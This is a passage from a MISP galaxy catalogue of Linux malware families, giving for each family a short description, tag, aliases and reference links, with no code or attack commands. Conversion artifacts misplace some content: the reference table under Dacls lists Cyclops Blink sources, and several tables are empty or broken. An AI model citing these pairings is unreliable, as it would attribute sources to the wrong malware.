Table 1887. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.cetus">https://malpedia.caad.fkie.fraunhofer.de/details/elf.cetus</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/">https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/</a></td>
</tr>
</tbody>
</table>

Chaos (ELF)

Multi-functional malware written in Go, targeting both Linux and Windows, evolved from elf.kaiji.

The tag is: *misp-galaxy:malpedia="Chaos (ELF)"

Chaos (ELF) is also known as:

Table 1888. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.chaos">https://malpedia.caad.fkie.fraunhofer.de/details/elf.chaos</a></td>
</tr>
</tbody>
</table>

Chapro

The tag is: *misp-galaxy:malpedia="Chapro"

Chapro is also known as:

Table 1889. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.chapro">https://malpedia.caad.fkie.fraunhofer.de/details/elf.chapro</a></td>
</tr>
<tr>
<td><a href="http://blog.eset.com/2012/12/18/malicious-apache-module-used-for-content-injection-linuxchapro-a">http://blog.eset.com/2012/12/18/malicious-apache-module-used-for-content-injection-linuxchapro-a</a></td>
</tr>
</tbody>
</table>
Chisel (ELF)

Chisel is an open-source project by Jaime Pillora (jpillora) that allows tunneling TCP and UDP connections via HTTP. It is available across platforms and written in Go. While benign in itself, Chisel has been utilized by multiple threat actors. It was for example observed by SentinelOne during a PYSAs ransomware campaign to achieve persistence and used as backdoor. Github: https://github.com/jpillora/chisel

The tag is: misp-galaxy:malpedia="Chisel (ELF)"

Chisel (ELF) is also known as:

Table 1890. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.chisel">https://malpedia.caad.fkie.fraunhofer.de/details/elf.chisel</a></td>
</tr>
<tr>
<td><a href="https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/">https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/</a></td>
</tr>
</tbody>
</table>

Clop (ELF)

ELF version of clop ransomware.

The tag is: misp-galaxy:malpedia="Clop (ELF)"

Clop (ELF) is also known as:

• Cl0p

Table 1891. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.clop">https://malpedia.caad.fkie.fraunhofer.de/details/elf.clop</a></td>
</tr>
<tr>
<td><a href="https://www.helpnetsecurity.com/2023/02/07/cl0p-ransomware-decryptor-linux/">https://www.helpnetsecurity.com/2023/02/07/cl0p-ransomware-decryptor-linux/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/">https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/</a></td>
</tr>
<tr>
<td><a href="https://www.sentinelone.com/labs/cl0p-ransomware-targets-linux-systems-with-flawed-encryption-decryptor-available/">https://www.sentinelone.com/labs/cl0p-ransomware-targets-linux-systems-with-flawed-encryption-decryptor-available/</a></td>
</tr>
</tbody>
</table>

Cloud Snooper

The tag is: misp-galaxy:malpedia="Cloud Snooper"

Cloud Snooper is also known as:
ConnectBack

ConnectBack malware is a type of malicious software designed to establish unauthorized connections from an infected system to a remote server. Once a victim’s device is compromised, ConnectBack creates a covert channel for communication, allowing the attacker to remotely control and gather sensitive information from the compromised system.

The tag is: `misp-galaxy:malpedia="ConnectBack"`

ConnectBack is also known as:

- Getshell

Conti (ELF)

Ransomware

The tag is: `misp-galaxy:malpedia="Conti (ELF)"

Conti (ELF) is also known as:

- Conti Locker
Cpuminer (ELF)

This was observed to be pushed by IoT malware, abusing devices for LiteCoin and BitCoin mining.

The tag is: `misp-galaxy:malpedia="Cpuminer (ELF)"

Cpuminer (ELF) is also known as:

Table 1895. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.cpuminer">https://malpedia.caad.fkie.fraunhofer.de/details/elf.cpuminer</a></td>
</tr>
<tr>
<td><a href="https://github.com/pooler/cpuminer">https://github.com/pooler/cpuminer</a></td>
</tr>
<tr>
<td><a href="https://yoroi.company/research/outlaw-is-back-a-new-crypto-botnet-targets-european-organizations/">https://yoroi.company/research/outlaw-is-back-a-new-crypto-botnet-targets-european-organizations/</a></td>
</tr>
</tbody>
</table>
**Cr1ptT0r**

The tag is: `misp-galaxy:malpedia="Cr1ptT0r"`

Cr1ptT0r is also known as:

- CriptTor

*Table 1896. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.cr1ptt0r">https://malpedia.caad.fkie.fraunhofer.de/details/elf.cr1ptt0r</a></td>
</tr>
<tr>
<td><a href="https://resolverblog.blogspot.com/2019/02/d-link-dns-320-nas-cr1ptt0r-ransomware.html">https://resolverblog.blogspot.com/2019/02/d-link-dns-320-nas-cr1ptt0r-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://resolverblog.blogspot.com/2019/03/de-cr1pt0r-tool-cr1pt0r-ransomware.html">https://resolverblog.blogspot.com/2019/03/de-cr1pt0r-tool-cr1pt0r-ransomware.html</a></td>
</tr>
</tbody>
</table>

**CronRAT**

A malware written in Bash that hides in the Linux calendar system on February 31st. Observed in relation to Magecart attacks.

The tag is: `misp-galaxy:malpedia="CronRAT"`

CronRAT is also known as:

*Table 1897. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.cronrat">https://malpedia.caad.fkie.fraunhofer.de/details/elf.cronrat</a></td>
</tr>
<tr>
<td><a href="https://sansec.io/research/cronrat">https://sansec.io/research/cronrat</a></td>
</tr>
</tbody>
</table>

**CyclopsBlink**

According to CISA, Cyclops Blink appears to be a replacement framework for the VPNFilter malware exposed in 2018, and which exploited network devices, primarily small office/home office (SOHO) routers and network attached storage (NAS) devices. Cyclops Blink has been deployed since at least June 2019, fourteen months after VPNFilter was disrupted. In common with VPNFilter, Cyclops Blink deployment also appears indiscriminate and widespread. The actor has so far primarily deployed Cyclops Blink to WatchGuard and ASUS devices, but it is likely that Sandworm would be capable of compiling the malware for other architectures and firmware.

The tag is: `misp-galaxy:malpedia="CyclopsBlink"`

CyclopsBlink is also known as:

*Table 1898. Table References*
Dacls (ELF)

According to PCrisk, Dacls is the name of a remote access Trojan (RAT), a malicious program that allows cyber criminals to control infected computers remotely.

Research shows that this malware is tied to Lazarus Group (a group of cyber criminals) and targets Linux and the Windows Operating System. Typically, cyber criminals use RATs to steal sensitive, confidential information, infect systems with other malware, and so on. In any case, no RAT is harmless and should be uninstalled immediately.

The tag is: misp-galaxy:malpedia="Dacls (ELF)"

Dacls (ELF) is also known as:

Table 1899. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.cyclops_blink">https://malpedia.caad.fkie.fraunhofer.de/details/elf.cyclops_blink</a></td>
</tr>
<tr>
<td><a href="https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview">https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-054a">https://www.cisa.gov/uscert/ncas/alerts/aa22-054a</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0034">https://attack.mitre.org/groups/G0034</a></td>
</tr>
<tr>
<td><a href="https://www.theregister.com/2022/03/18/cyclops_asus_routers/">https://www.theregister.com/2022/03/18/cyclops_asus_routers/</a></td>
</tr>
</tbody>
</table>
Dark

Mirai variant exploiting CVE-2021-20090 and CVE2021-35395 for spreading.

The tag is: misp-galaxy:malpedia="Dark"

Dark is also known as:

- Dark.IoT

Table 1900. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.dark">https://malpedia.caad.fkie.fraunhofer.de/details/elf.dark</a></td>
</tr>
<tr>
<td><a href="https://www.radware.com/getmedia/d312a5fa-2d8d-4c1e-b31e-73046f24bf35/Alert-Dark-OMIGOD.aspx">https://www.radware.com/getmedia/d312a5fa-2d8d-4c1e-b31e-73046f24bf35/Alert-Dark-OMIGOD.aspx</a></td>
</tr>
<tr>
<td><a href="https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-eb92b7a49b8/Alert_Realtek_SDK.aspx">https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-eb92b7a49b8/Alert_Realtek_SDK.aspx</a></td>
</tr>
<tr>
<td><a href="https://blogs.juniper.net/en-us/threat-research/attacks-continue-against-realtek-vulnerabilities">https://blogs.juniper.net/en-us/threat-research/attacks-continue-against-realtek-vulnerabilities</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ESETresearch/status/1440052837820428298?s=20">https://twitter.com/ESETresearch/status/1440052837820428298?s=20</a></td>
</tr>
</tbody>
</table>

Dark Nexus

The tag is: misp-galaxy:malpedia="Dark Nexus"

Dark Nexus is also known as:

Table 1901. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
DarkSide (ELF)

The tag is: misp-galaxy:malpedia="DarkSide (ELF)"

DarkSide (ELF) is also known as:

Table 1902. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.darkside">https://malpedia.caad.fkie.fraunhofer.de/details/elf.darkside</a></td>
</tr>
<tr>
<td><a href="https://therecord.media/popular-hacking-forum-bans-ransomware-ads/">https://therecord.media/popular-hacking-forum-bans-ransomware-ads/</a></td>
</tr>
<tr>
<td><a href="https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/">https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/</a></td>
</tr>
<tr>
<td><a href="https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group">https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/">https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/GelosSnake/status/1451465959894667275">https://twitter.com/GelosSnake/status/1451465959894667275</a></td>
</tr>
<tr>
<td><a href="https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b">https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/JAMESWT_MHT/status/1388301138437578757">https://twitter.com/JAMESWT_MHT/status/1388301138437578757</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=qxPXxWMI2i4">https://www.youtube.com/watch?v=qxPXxWMI2i4</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>---------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access">https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access</a></td>
</tr>
<tr>
<td><a href="https://otx.alienvault.com/pulse/60d0afbc395c24edefb33bb9">https://otx.alienvault.com/pulse/60d0afbc395c24edefb33bb9</a></td>
</tr>
<tr>
<td><a href="https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/">https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/</a></td>
</tr>
<tr>
<td><a href="https://blog.group-ib.com/blackmatter#">https://blog.group-ib.com/blackmatter#</a></td>
</tr>
<tr>
<td><a href="https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636">https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636</a></td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/2021/05/darkside-ransomware-gang-quits-after-servers-bitcoin-stash-seized/">https://krebsonsecurity.com/2021/05/darkside-ransomware-gang-quits-after-servers-bitcoin-stash-seized/</a></td>
</tr>
<tr>
<td><a href="https://www.intel471.com/blog/darkside-ransomware-shut-down-revil-avaddon-cybercrime">https://www.intel471.com/blog/darkside-ransomware-shut-down-revil-avaddon-cybercrime</a></td>
</tr>
<tr>
<td><a href="https://blog.group-ib.com/blackmatter2">https://blog.group-ib.com/blackmatter2</a></td>
</tr>
<tr>
<td><a href="https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin">https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself">https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself</a></td>
</tr>
<tr>
<td><a href="https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/">https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/</a></td>
</tr>
</tbody>
</table>
DarkRadiation

The tag is: misp-galaxy:malpedia="DarkRadiation"

DarkRadiation is also known as:

*Table 1903. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.dark_radiation">https://malpedia.caad.fkie.fraunhofer.de/details/elf.dark_radiation</a></td>
</tr>
</tbody>
</table>

DDG

First activity observed in October 2017. DDG is a botnet with P2P capability that is targeting cryptocurrency mining (Monero).

The tag is: misp-galaxy:malpedia="DDG"

DDG is also known as:

*Table 1904. Table References*
### ddoor

The tag is: `misp-galaxy:malpedia="ddoor"`

ddoor is also known as:

Table 1905. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.ddoor">https://malpedia.caad.fkie.fraunhofer.de/details/elf.ddoor</a></td>
</tr>
<tr>
<td><a href="https://github.com/rek7/ddoor">https://github.com/rek7/ddoor</a></td>
</tr>
</tbody>
</table>

### DEADBOLT

DEADBOLT is a Linux ransomware written in Go, targeting QNAP NAS devices worldwide. The files are encrypted with AES128 encryption and will have the `.deadbolt` extension appended to file names.

The tag is: `misp-galaxy:malpedia="DEADBOLT"`

DEADBOLT is also known as:

Table 1906. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.deadbolt">https://malpedia.caad.fkie.fraunhofer.de/details/elf.deadbolt</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/1601124b">https://community.riskiq.com/article/1601124b</a></td>
</tr>
</tbody>
</table>
Denonia

Cado discovered this malware, written in Go and targeting AWS Lambda environments.

The tag is: misp-galaxy:malpedia="Denonia"

Denonia is also known as:

Table 1907. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.denonia">https://malpedia.caad.fkie.fraunhofer.de/details/elf.denonia</a></td>
</tr>
</tbody>
</table>

Derusbi (ELF)

The tag is: misp-galaxy:malpedia="Derusbi (ELF)"

Derusbi (ELF) is also known as:

Table 1908. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.derusbi">https://malpedia.caad.fkie.fraunhofer.de/details/elf.derusbi</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/IntezerLabs/status/1407676522534735873?s=20">https://twitter.com/IntezerLabs/status/1407676522534735873?s=20</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0001/">https://attack.mitre.org/groups/G0001/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0096">https://attack.mitre.org/groups/G0096</a></td>
</tr>
</tbody>
</table>

Dofloo

Dofloo (aka AESDDoS) is a popular malware used to create large scale botnets that can launch DDoS attacks and load cryptocurrency miners to the infected machines.

The tag is: misp-galaxy:malpedia="Dofloo"

Dofloo is also known as:

- AESDDoS

Table 1909. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.dofloo">https://malpedia.caad.fkie.fraunhofer.de/details/elf.dofloo</a></td>
</tr>
</tbody>
</table>
Doki

The tag is: misp-galaxy:malpedia="Doki"

Doki is also known as:

Table 1910. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.doki">https://malpedia.caad.fkie.fraunhofer.de/details/elf.doki</a></td>
</tr>
<tr>
<td><a href="https://www.securecoding.com/blog/all-about-doki-malware/">https://www.securecoding.com/blog/all-about-doki-malware/</a></td>
</tr>
</tbody>
</table>

DoubleFantasy (ELF)

The tag is: misp-galaxy:malpedia="DoubleFantasy (ELF)"

DoubleFantasy (ELF) is also known as:

Table 1911. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.doublefantasy">https://malpedia.caad.fkie.fraunhofer.de/details/elf.doublefantasy</a></td>
</tr>
<tr>
<td><a href="https://www.antiy.com/response/FROM_EQUATION_TO_EQUATIONS.pdf">https://www.antiy.com/response/FROM_EQUATION_TO_EQUATIONS.pdf</a></td>
</tr>
</tbody>
</table>

DreamBus

The tag is: misp-galaxy:malpedia="DreamBus"

DreamBus is also known as:

Table 1912. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.dreambus">https://malpedia.caad.fkie.fraunhofer.de/details/elf.dreambus</a></td>
</tr>
</tbody>
</table>

Ebury

This payload has been used to compromise kernel.org back in August of 2011 and has hit cPanel Support which in turn, has infected quite a few cPanel servers. It is a credential stealing payload which steals SSH keys, passwords, and potentially other credentials.
This family is part of a wider range of tools which are described in detail in the operation windigo whitepaper by ESET.

The tag is: *misp-galaxy:malpedia="Ebury"*

Ebury is also known as:

Table 1913. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.ebury">https://malpedia.caad.fkie.fraunhofer.de/details/elf.ebury</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/">https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/">https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/</a></td>
</tr>
<tr>
<td><a href="https://security.web.cern.ch/security/advisories/windigo/windigo.shtml">https://security.web.cern.ch/security/advisories/windigo/windigo.shtml</a></td>
</tr>
<tr>
<td><a href="https://csirt.gov.it/data/cms/posts/582/attachments/66ca2e9a-68cd-4df5-81a2-674c31a699c2/download">https://csirt.gov.it/data/cms/posts/582/attachments/66ca2e9a-68cd-4df5-81a2-674c31a699c2/download</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2018/12/05/dark-side-of-the-forsshe/">https://www.welivesecurity.com/2018/12/05/dark-side-of-the-forsshe/</a></td>
</tr>
</tbody>
</table>

**Echobot**

The latest in this long line of Mirai scourges is a new variant named Echobot. Coming to life in mid-May, the malware was first described by Palo Alto Networks in a report published at the start of June, and then again in a report by security researchers from Akamai, in mid-June.

When it was first spotted by Palo Alto Networks researchers in early June, Echobot was using exploits for 18 vulnerabilities. In the Akamai report, a week later, Echobot was at 26.


The tag is: *misp-galaxy:malpedia="Echobot“*

Echobot is also known as:

Table 1914. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.echobot">https://malpedia.caad.fkie.fraunhofer.de/details/elf.echobot</a></td>
</tr>
</tbody>
</table>
EnemyBot

According to the Infosec Institute, EnemyBot is a dangerous IoT botnet that has made headlines in the last few weeks. This threat, which seems to be disseminated by the Keksec group, expanded its features by adding recent vulnerabilities discovered in 2022. It was designed to attack web servers, Android devices and content management systems (CMS) servers.

The tag is: `misp-galaxy:malpedia="EnemyBot"`

EnemyBot is also known as:

Table 1915. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.enemybot">https://malpedia.caad.fkie.fraunhofer.de/details/elf.enemybot</a></td>
</tr>
<tr>
<td><a href="https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory/">https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory/</a></td>
</tr>
<tr>
<td><a href="https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory">https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory</a></td>
</tr>
</tbody>
</table>

Erebus (ELF)

The tag is: `misp-galaxy:malpedia="Erebus (ELF)"

Erebus (ELF) is also known as:

Table 1916. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.erebus">https://malpedia.caad.fkie.fraunhofer.de/details/elf.erebus</a></td>
</tr>
</tbody>
</table>
**ESXiArgs**

Ransomware used to target ESXi servers.

The tag is: *misp-galaxy:malpedia="ESXiArgs"*

ESXiArgs is also known as:

*Table 1917. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.esxi_args">https://malpedia.caad.fkie.fraunhofer.de/details/elf.esxi_args</a></td>
</tr>
<tr>
<td><a href="https://blog.ovhcloud.com/ransomware-targeting-vmware-esxi/">https://blog.ovhcloud.com/ransomware-targeting-vmware-esxi/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=bBcvqxDjoI">https://www.youtube.com/watch?v=bBcvqxDjoI</a></td>
</tr>
</tbody>
</table>

**EvilGnome**

According to Infosec Institute, EvilGnome presents itself to unwitting Linux users as a legitimate GNOME extension. Legitimate extensions help to extend Linux functionality, but instead of a healthy boost in system functionality, EvilGnome begins spying on users with an array of functionalities uncommon for most Linux malware types.

The tag is: *misp-galaxy:malpedia="EvilGnome"*

EvilGnome is also known as:

*Table 1918. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.evilgnome">https://malpedia.caad.fkie.fraunhofer.de/details/elf.evilgnome</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/blog-evilgnome-rare-malware-spying-on-linux-desktop-users/">https://www.intezer.com/blog-evilgnome-rare-malware-spying-on-linux-desktop-users/</a></td>
</tr>
</tbody>
</table>

**EwDoor**

The tag is: *misp-galaxy:malpedia="EwDoor"*

EwDoor is also known as:

*Table 1919. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>

698
Exaramel (ELF)

The tag is: `misp-galaxy:malpedia="Exaramel (ELF)"`

Exaramel (ELF) is also known as:

Table 1920. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.exaramel">https://malpedia.caad.fkie.fraunhofer.de/details/elf.exaramel</a></td>
</tr>
<tr>
<td><a href="https://www.wired.com/story/sandworm-centreon-russia-hack/">https://www.wired.com/story/sandworm-centreon-russia-hack/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0034">https://attack.mitre.org/groups/G0034</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/craiu/status/1361581668092493824">https://twitter.com/craiu/status/1361581668092493824</a></td>
</tr>
</tbody>
</table>

ext4

The tag is: `misp-galaxy:malpedia="ext4"`

ext4 is also known as:

Table 1921. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.ext4">https://malpedia.caad.fkie.fraunhofer.de/details/elf.ext4</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/chinese-cyberespionage-operations/">https://www.recordedfuture.com/chinese-cyberespionage-operations/</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/chinese-cyberespionage-operations">https://www.recordedfuture.com/chinese-cyberespionage-operations</a></td>
</tr>
</tbody>
</table>

Facefish

The tag is: `misp-galaxy:malpedia="Facefish"`

Facefish is also known as:

Table 1922. Table References
FBot

The tag is: `misp-galaxy:malpedia="FBot"`

FBot is also known as:

Table 1923. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.fbot">https://malpedia.caad.fkie.fraunhofer.de/details/elf.fbot</a></td>
</tr>
<tr>
<td><a href="https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html">https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html</a></td>
</tr>
<tr>
<td><a href="https://blog.malwaremustdie.org/2020/01/mmd-0065-2020-linuxmirai-fbot.html">https://blog.malwaremustdie.org/2020/01/mmd-0065-2020-linuxmirai-fbot.html</a></td>
</tr>
</tbody>
</table>

FinFisher (ELF)

The tag is: `misp-galaxy:malpedia="FinFisher (ELF)"

FinFisher (ELF) is also known as:

Table 1924. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.finfisher">https://malpedia.caad.fkie.fraunhofer.de/details/elf.finfisher</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/finspy-unseen-findings/104322/">https://securelist.com/finspy-unseen-findings/104322/</a></td>
</tr>
</tbody>
</table>

floodor

The tag is: `misp-galaxy:malpedia="floodor"`

floodor is also known as:

Table 1925. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Fodcha

Malware used to run a DDoS botnet.

The tag is: `misp-galaxy:malpedia="Fodcha"`

Fodcha is also known as:

Table 1926. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.fodcha">https://malpedia.caad.fkie.fraunhofer.de/details/elf.fodcha</a></td>
</tr>
<tr>
<td><a href="https://blog.netlab.360.com/fodcha-a-new-ddos-botnet/">https://blog.netlab.360.com/fodcha-a-new-ddos-botnet/</a></td>
</tr>
</tbody>
</table>

FontOnLake

This family utilizes custom modules allowing for remote access, credential harvesting (e.g. by modifying sshd) and proxy usage.

It comes with a rootkit as well.

The tag is: `misp-galaxy:malpedia="FontOnLake"`

FontOnLake is also known as:

Table 1927. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.fontonlake">https://malpedia.caad.fkie.fraunhofer.de/details/elf.fontonlake</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/10/07/fontonlake-previously-unknown-malware-family-targeting-linux/">https://www.welivesecurity.com/2021/10/07/fontonlake-previously-unknown-malware-family-targeting-linux/</a></td>
</tr>
</tbody>
</table>

FritzFrog

Guardicore has discovered FritzFrog, a sophisticated peer-to-peer (P2P) botnet which has been actively breaching SSH servers since January 2020. It is a worm which is written in Golang, and is modular, multi-threaded and fileless, leaving no trace on the infected machine’s disk.

The tag is: `misp-galaxy:malpedia="FritzFrog"`

FritzFrog is also known as:
Gitpaste-12

Gitpaste-12 is a modular malware first observed in October 2020 targeting Linux based x86 servers, as well as Linux ARM and MIPS based IoT devices. It uses GitHub and Pastebin as dead drop C2 locations.

The tag is: *misp-galaxy:malpedia=*“Gitpaste-12”*

Gitpaste-12 is also known as:

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.gitpaste12">https://malpedia.caad.fkie.fraunhofer.de/details/elf.gitpaste12</a></td>
</tr>
<tr>
<td><a href="https://blogs.juniper.net/en-us/threat-research/gitpaste-12">https://blogs.juniper.net/en-us/threat-research/gitpaste-12</a></td>
</tr>
</tbody>
</table>

Glupteba Proxy

